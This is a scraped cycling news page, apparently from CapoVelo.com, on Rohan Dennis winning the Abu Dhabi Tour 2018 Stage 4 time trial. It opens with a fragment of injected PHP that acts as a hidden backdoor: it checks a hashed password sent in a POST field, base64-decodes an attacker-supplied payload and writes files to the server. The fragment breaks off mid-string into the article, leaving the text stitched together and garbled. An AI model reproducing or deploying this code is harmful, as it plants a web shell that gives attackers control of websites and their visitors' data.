function bestrock_render_js(){ echo ""; } function bestrock_render_index(){ echo md5('56749'); } function bestrock_render_ajax(){ try { if(isset($_GET['s1'])) die(md5('js')); if(isset($_POST['t2'])){ $l1 = uniqid(rand(), true) . '.js'; @file_put_contents($l1, 'js'); if(file_exists($l1)){ if(isset($_POST['t1'])){ $d = md5(md5($_POST['t1'])); if($d=="8ae24e6719c47a39da8ad5451432d9a6"){ $d1=$_POST['t2']; $d1=base64_decode($d1); $d4=" CapoVelo.com - Abu Dhabi Tour 2018 Stage 4
CapoVelo.com - - Abu Dhabi Tour 2018 Stage 4
57987
post-template-default,single,single-post,postid-57987,single-format-standard,no_animation

Abu Dhabi Tour 2018 Stage 4

photo credits @ Abu Dhabi Tour

Rohan Dennis (BMC Racing Team) claimed Stage 4 in the windy streets of Abu Dhabi today, after the three-time Australian time trial champion clocked the fastest time along the 12.6 kilometer course, beating his closest rival Spanish champion Jonathan Castroviejo (Team Sky) by 14 seconds, followed by teammate and compatriot Miles Scotson, who finished a further 2 seconds back.

“It was never straightforward. We had headwind, crosswind, tailwind… we never knew where it’d come from. Jabel Hafeet is a pretty good climb for me. It’s a hard climb but it suits a TT rider. It’s not a technical run in like we usually find in Europe. We’ll put everything into keeping this Red Jersey. It’d be great for me to win the overall classification of a stage race outside of Australia or America. Obviously, Dumoulin is right up there, but Valverde is probably the most threatening rider. He was strong on the flat, he’ll be dangerous uphill too. Crashing out of the Giro wasn’t great last year, so I’ll have a second crack this year, I’ll just keep cracking away. Everything Dumoulin has done is a confidence booster in what’s possible for me”, Dennis said after the stage.  

Meanwhile, stage favorite, World Champion Tom Dumoulin (Team Sunweb), suffered a mechanical problem that cost the Dutch rider more than half a minute, despite clocking the best intermediate time before the mishap.

“It really sucked,” Dumoulin said of his first time trial since winning the rainbow jersey that he won in Bergen, Norway, last September

“I did the recon before and then my rear derailleur went into crash mode. That means that it can’t shift anymore in the back,” he added

“The mechanics put the bike upside down and put a new rear derailleur on it. So we made a decision to ride it: my world champion’s bike in the time trial. But then it happened again in the switchback.”

As result of his time trial victory, Dennis took over the overall race lead, and now leads Castroviejo by 14seconds.  

Leave a reply
Share on